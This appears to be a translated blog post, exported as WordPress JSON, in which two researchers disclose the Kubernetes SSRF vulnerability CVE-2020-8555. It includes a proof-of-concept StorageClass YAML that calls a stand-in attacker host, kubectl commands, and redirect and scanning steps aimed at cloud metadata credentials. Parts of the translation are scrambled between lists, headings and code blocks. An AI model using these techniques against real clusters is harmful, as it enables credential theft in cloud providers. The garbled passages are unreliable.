{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"When it's not just about a vulnerability in Kubernetes...","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Note: translation.<\/b>: the authors of this article detail how they managed to discover a vulnerability <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> in Kubernetes. Although it initially seemed not very dangerous, its criticality turned out to be maximal for some cloud providers when combined with other factors. Several organizations generously rewarded the specialists for their work.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Who are we<\/h2>\n<p>\nWe are two French security researchers who jointly discovered a vulnerability in Kubernetes. Our names are Brice Augras and Christophe Hauquiert, but on many Bug Bounty platforms, we are known as Reeverzax and Hach respectively:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 Kubernetes architect at Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>What happened?<\/h2>\n<p>\nThis article is our way of sharing how an ordinary research project unexpectedly turned into the most exciting adventure of our lives as bug hunters (at least so far).<\/p>\n<p>As you probably know, bug hunters have a couple of notable traits:<\/p>\n<ul>\n<li> they live on pizza and beer;<\/li>\n<li> they work when everyone else is asleep.<\/li>\n<\/ul>\n<p>\nWe are no exception to these rules: we usually meet on weekends and pull all-nighters hacking. But one of those nights ended quite unusually.<\/p>\n<p>Initially, we planned to meet to discuss participation in <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> the next day. During a conversation about Kubernetes security in a managed service environment, an old idea of SSRF came to mind (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) and we decided to try using it as an attack scenario.<\/p>\n<p>At 11 PM, we dove into the research, and went to sleep early in the morning, quite satisfied with the results. It was due to this research that we stumbled upon the MSRC Bug Bounty program and devised an exploit with privilege escalation.<\/p>\n<p>Weeks\/months went by, and our unexpected result allowed us to receive one of the highest rewards in the history of Azure Cloud Bug Bounty \u2014 in addition to the one we received from Kubernetes!<\/p>\n<p>As a result of our research project, the Kubernetes Product Security Committee published <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Now we want to spread the information about the discovered vulnerability as widely as possible. We hope you appreciate the find and share the technical details with other members of the infosec community!<\/p>\n<p>So, here's our story...<\/p>\n<h2>Context<\/h2>\n<p>\nTo fully convey the meaning of what has happened, let\u2019s first look at how Kubernetes operates in a cloud-managed environment.<\/p>\n<p>When you create a Kubernetes cluster instance in such an environment, the management layer is typically handled by the cloud service provider:<\/p>\n<p><img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>The management layer resides at the edge of the cloud provider, while the Kubernetes nodes are within the client's perimeter.<\/i><\/p>\n<p>Dynamic volume allocation utilizes a mechanism for dynamically provisioning them from external storage backends and mapping them to PVC (Persistent Volume Claim).<\/p>\n<p>Thus, after the PVC is created and linked to a StorageClass in the K8s cluster, the further actions for providing the volume are handled by the kube\/cloud controller manager (its exact name depends on the release). <i>(<b>Note: translation.<\/b>: We have already discussed CCM in detail with an example implementation for one of the cloud providers. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">here<\/a><\/noindex>.)<\/i><\/p>\n<p>There are several types of provisioners supported by Kubernetes: most of them are included in <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">orchestrator's core,<\/a><\/noindex>, while others are managed by additional provisioners that are hosted in pods within the cluster.<\/p>\n<p>In our study, we focused on the internal volume provisioning mechanism illustrated below:<\/p>\n<p><img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Dynamic volume provisioning using the built-in Kubernetes provisioner<\/i><\/p>\n<p>In short, when Kubernetes is deployed in a managed environment, the function of the controller manager is handled by the cloud service provider, but the request to create the volume (number 3 in the diagram above) leaves the boundaries of the cloud provider's internal network. And this is where things get really interesting!<\/p>\n<h2>Hacking Scenario<\/h2>\n<p>\nIn this section, we will describe how we took advantage of the workflow mentioned above to gain access to the internal resources of the cloud service provider. Additionally, we will demonstrate how certain actions can be performed\u2014such as obtaining internal credentials or escalating privileges.<\/p>\n<p>A simple manipulation (in this case, Service Side Request Forgery) helped us break out of the client environment in clusters of various managed K8s service providers.<\/p>\n<p>In our research, we focused on the GlusterFS provisioner. Although the next sequence of actions is described in this context, the same vulnerability affects Quobyte, StorageOS, and ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Abusing the dynamic volume provisioning mechanism<\/i><\/p>\n<p>During the analysis of storage classes <b>GlusterFS<\/b> in the source code of the Golang client, we <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">noticed<\/a><\/noindex>, that in the first HTTP request (3) made during the volume creation, an extra path is appended to the end of the user URL in the parameter <code>resturl<\/code> is added <code>\/volumes<\/code>.<\/p>\n<p>To remove this additional path, we decided to add it <code>#<\/code> to the parameter <code>resturl<\/code>. Here is the first YAML configuration we used to test for the \"semi-blind\" SSRF vulnerability <i>(for more details on semi-blind or half-blind SSRF, you can read, for example, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">here<\/a><\/noindex> - translator's note)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nThen, for remote control of the Kubernetes cluster, we used the binary <b>kubectl<\/b>. Typically, cloud providers (Azure, Google, AWS, etc.) allow obtaining credentials for use with this utility.<\/p>\n<p>Thanks to this, we could apply our \"special\" file. The kube-controller-manager executed the resulting HTTP request:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>The response from the attacker's perspective<\/i><\/p>\n<p>Shortly after that, we were also able to receive an HTTP response from the target server \u2014 through the commands <code>describe pvc<\/code> or <code>get events<\/code> in kubectl. And indeed: this Kubernetes driver, by default, is overly verbose in its warnings\/errors...<\/p>\n<p>Here is an example with a reference to <code>https:\/\/www.google.fr<\/code>, set as a parameter <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# or you can use kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nAs part of this approach, we were limited to requests of type <b>HTTP POST<\/b> and could not obtain the body content of the response if the return code was <b>201<\/b>. Therefore, we decided to conduct further investigations and expanded this attack scenario with new approaches.<\/p>\n<h2>The evolution of our research<\/h2>\n<p><\/p>\n<ul>\n<li> Advanced scenario #1: using a 302 redirect from an external server to change the HTTP method to obtain a more flexible way of collecting internal data.<\/li>\n<li> Advanced scenario #2: automation of LAN scanning and discovery of internal resources.<\/li>\n<li> Advanced scenario #3: using HTTP CRLF + smuggling for creating tailored HTTP requests and retrieving data extracted from kube-controller logs.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Technical Specifications<\/h3>\n<p><\/p>\n<ul>\n<li> The research utilized Azure Kubernetes Service (AKS) with Kubernetes version 1.12 in the North Europe region.<\/li>\n<li> The scenarios described above were executed on the latest releases of Kubernetes except for the third scenario, which required Kubernetes built with Golang version \u2264 1.12.<\/li>\n<li> The attacker's external server \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Advanced Scenario #1: Redirecting a POST HTTP request to GET and obtaining confidential data<\/h3>\n<p>\nThe original method was improved by the malicious server's configuration to return <b>302 HTTP Retcode<\/b>, to convert the POST request into a GET request (step 4 in the diagram):<\/p>\n<p><img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nThe first request (3), originating from the client <b>GlusterFS<\/b> (Controller Manager), is of type POST. By following the subsequent steps, we were able to transform it into a GET:<\/p>\n<ul>\n<li> As a parameter <code>resturl<\/code> in StorageClass, it specifies <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> The endpoint responds with a status code of 302 HTTP with the following Location Header: <code>https:\/\/attacker.com\/redirect.php<\/code> responds with HTTP status code 302 and the following Location Header: <code>http:\/\/169.254.169.254<\/code>By default<\/li>\n<li> the net\/http <b>library of Golang redirects the request and converts POST to GET with a 302 status code, resulting in a GET HTTP request reaching the target resource.<\/b> Golang redirects the request and converts POST to GET with a 302 status code, resulting in a GET HTTP request reaching the target resource.<\/li>\n<\/ul>\n<p>\ndescribe <code>of the PVC object:<\/code> kubectl describe pvc xxx<\/p>\n<pre><code class=\"bash\">Here is an example of an HTTP response in JSON format that we managed to obtain:<\/code><\/pre>\n<p>\nThe potential of the found vulnerability at that moment was limited due to the following factors:<\/p>\n<p><img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nThe inability to insert HTTP headers into the outgoing request.<\/p>\n<ul>\n<li> The inability to perform a POST request with parameters in the body (this is convenient for querying the key value from an etcd instance running on<\/li>\n<li> the port if unencrypted HTTP is used). <b>2379<\/b> The inability to obtain the body content of the response when the status code was 200 and the response lacked the JSON Content-Type.<\/li>\n<li> Advanced Scenario #2: Scanning the local network<\/li>\n<\/ul>\n<p><\/p>\n<h3>This half-blind SSRF method was then used to scan the internal network of the cloud service provider and poll various listening services (Metadata instance, Kubelet, etcd, etc.) based on the responses from<\/h3>\n<p>\nthe kube controller <b>kube controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nFirst, the standard listening ports for Kubernetes components (8443, 10250, 10251, etc.) were identified, and then the scanning process had to be automated.<\/p>\n<p>Seeing that this method of scanning resources is very specific and incompatible with traditional scanners and SSRF tools, we decided to create our own workers in a bash script that automate the entire process.<\/p>\n<p>For instance, to quickly scan the range 172.16.0.0\/12 of the internal network, 15 workers ran in parallel. The above-mentioned IP range was chosen solely as an example and can be replaced with the IP range of a specific service provider.<\/p>\n<p>To scan a single IP address and one port, you need to do the following:<\/p>\n<ul>\n<li> remove the previously checked StorageClass;<\/li>\n<li> remove the previously checked Persistent Volume Claim;<\/li>\n<li> change the values of IP and Port in <code>sc.yaml<\/code>;<\/li>\n<li> create a StorageClass with the new IP and port;<\/li>\n<li> create a new PVC;<\/li>\n<li> extract the scan results using describe for the PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Advanced Scenario #3: CRLF injection + HTTP smuggling in \"old\" versions of the Kubernetes cluster<\/h3>\n<p>\nIf the provider also offered clients old versions of the K8s cluster, <b>and<\/b> granting them access to kube-controller-manager logs made the effect even more significant.<\/p>\n<p>It's much more convenient for an attacker to change HTTP requests at their discretion, intended to obtain a complete HTTP response.<\/p>\n<p><img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nTo implement the last scenario, the following conditions had to be met:<\/p>\n<ul>\n<li> The user must have access to the kube-controller-manager logs (as, for example, in Azure LogInsights).<\/li>\n<li> The Kubernetes cluster must use Golang version lower than 1.12.<\/li>\n<\/ul>\n<p>\nWe deployed a local environment simulating data exchange between a Go client and a fake target server (we will refrain from publishing the PoC for now).<\/p>\n<p>An issue was discovered <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">vulnerability<\/a><\/noindex>, affecting Golang versions prior to 1.12 and allowing hackers to conduct HTTP smuggling\/CRLF attacks.<\/p>\n<p>By combining the previously described half-blind SSRF <b>with this, we were able to send requests at our discretion, including modifying headers, the HTTP method, parameters, and data that kube-controller-manager then processed.<\/b> Here is an example of a working 'bait' in the parameter<\/p>\n<p>of the StorageClass that implements a similar attack scenario: <code>resturl<\/code> StorageClass that implements such an attack scenario:<\/p>\n<pre><code class=\"plaintext\">As a result, an error occurs<\/code><\/pre>\n<p>\nunsolicited response <b>unsolicited response<\/b>, the message of which is logged by the controller. Due to the default verbosity setting, the contents of the HTTP response message are also saved there.<\/p>\n<p><img decoding=\"async\" alt=\"When it&#039;s not just about a vulnerability in Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nThis was our most effective \"bait\" in the proof of concept.<\/p>\n<p>By using this approach, we were able to carry out some of the following attacks in clusters of various managed k8s providers: privilege escalation to obtain credentials from metadata instances, DoS against the master using (unencrypted) HTTP requests to the master etcd instances, and so on.<\/p>\n<h2>Consequences<\/h2>\n<p>\nIn the official statement from Kubernetes regarding the SSRF vulnerability we discovered, it was assigned a rating <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. If we consider only the vulnerability related to the Kubernetes perimeter, the integrity vector <i>(integrity vector)<\/i> in it is classified as <b>None<\/b>.<\/p>\n<p>However, the assessment of potential consequences in the context of a managed service environment (and this was the most interesting part of our research!) prompted us to reclassify the vulnerability to a rating <b>Critical CVSS 10\/10<\/b> for many distributors.<\/p>\n<p>Below is additional information that will help understand what guided us in assessing the potential consequences in cloud environments:<\/p>\n<h3>Integrity<\/h3>\n<p><\/p>\n<ul>\n<li> Remote command execution using acquired internal credentials.<\/li>\n<li> Reproducing the above scenario via IDOR (Insecure Direct Object Reference) with other resources found on the local network.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Confidentiality<\/h3>\n<p><\/p>\n<ul>\n<li> Lateral Movement attack <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">due to stealing cloud credentials (e.g., from the metadata API).<\/a><\/noindex> Information gathering through local network scanning (determining SSH versions, HTTP server versions, etc.).<\/li>\n<li> Information gathering about instances and infrastructure by polling internal APIs, such as the metadata API (<\/li>\n<li> Customer data theft using cloud credentials.<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Availability<\/li>\n<\/ul>\n<p><\/p>\n<h3>All exploit scenarios related to attack vectors on<\/h3>\n<p>\nintegrity <b>, can be used for destructive actions and lead to master instances being unavailable from the client perimeter (or any other).<\/b>.<\/p>\n<p>As we were in a managed K8s environment and assessing the impact on integrity, one can imagine numerous scenarios that could affect availability. Additional examples include database corruption in etcd or making a critical call to the Kubernetes API.<\/p>\n<h2>Timeline<\/h2>\n<p><\/p>\n<ul>\n<li> December 6, 2019: Reported a discovered vulnerability to the MSRC Bug Bounty.<\/li>\n<li> January 3, 2020: A third party informed Kubernetes developers that we were working on the security issue. They requested that SSRF be considered an in-core vulnerability. Following this, we submitted a comprehensive report with technical details about the source of the issue.<\/li>\n<li> January 15, 2020: We provided Kubernetes developers with technical and general reports upon their request (via the HackerOne platform).<\/li>\n<li> January 15, 2020: Kubernetes developers notified us that half-blind SSRF + CRLF injection for past releases is considered an in-core vulnerability. We immediately ceased analyzing the boundaries of other service providers: the root cause was now being addressed by the K8s team.<\/li>\n<li> January 15, 2020: Received a reward from MSRC through HackerOne.<\/li>\n<li> January 16, 2020: The Kubernetes PSC (Product Security Committee) acknowledged the vulnerability and requested that it be kept confidential until mid-March due to the large number of potential victims.<\/li>\n<li> February 11, 2020: Received a reward from Google VRP.<\/li>\n<li> March 4, 2020: Received a reward from Kubernetes through HackerOne.<\/li>\n<li> March 15, 2020: The initially planned public disclosure was postponed due to the COVID-19 situation.<\/li>\n<li> June 1, 2020: Joint statement from Kubernetes + Microsoft regarding the vulnerability.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> We\u2019re drinking beer and eating pizza \ud83d\ude42<\/li>\n<li> We discovered an in-core vulnerability in Kubernetes, although we didn't intend to.<\/li>\n<li> We conducted additional analysis in clusters across various cloud providers and managed to increase the damage caused by the vulnerability to gain extra awesome bonuses.<\/li>\n<li> In this article, you will find a lot of technical details. We are happy to discuss them with you (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> It turned out that all sorts of formalities and reporting took much longer than expected.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Links<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google group kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. from the translator<\/h2>\n<p>\nAlso read in our blog:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">The bug hunt in Kubernetes is officially open<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Exiting the pod in Kubernetes through log mounting.<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ tools for Kubernetes security<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Source: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.1.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.1.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47When it's not just about the vulnerability in Kubernetes\u2026 | ProHoster","description":"Example.","canonical_url":"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"en_US","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pilla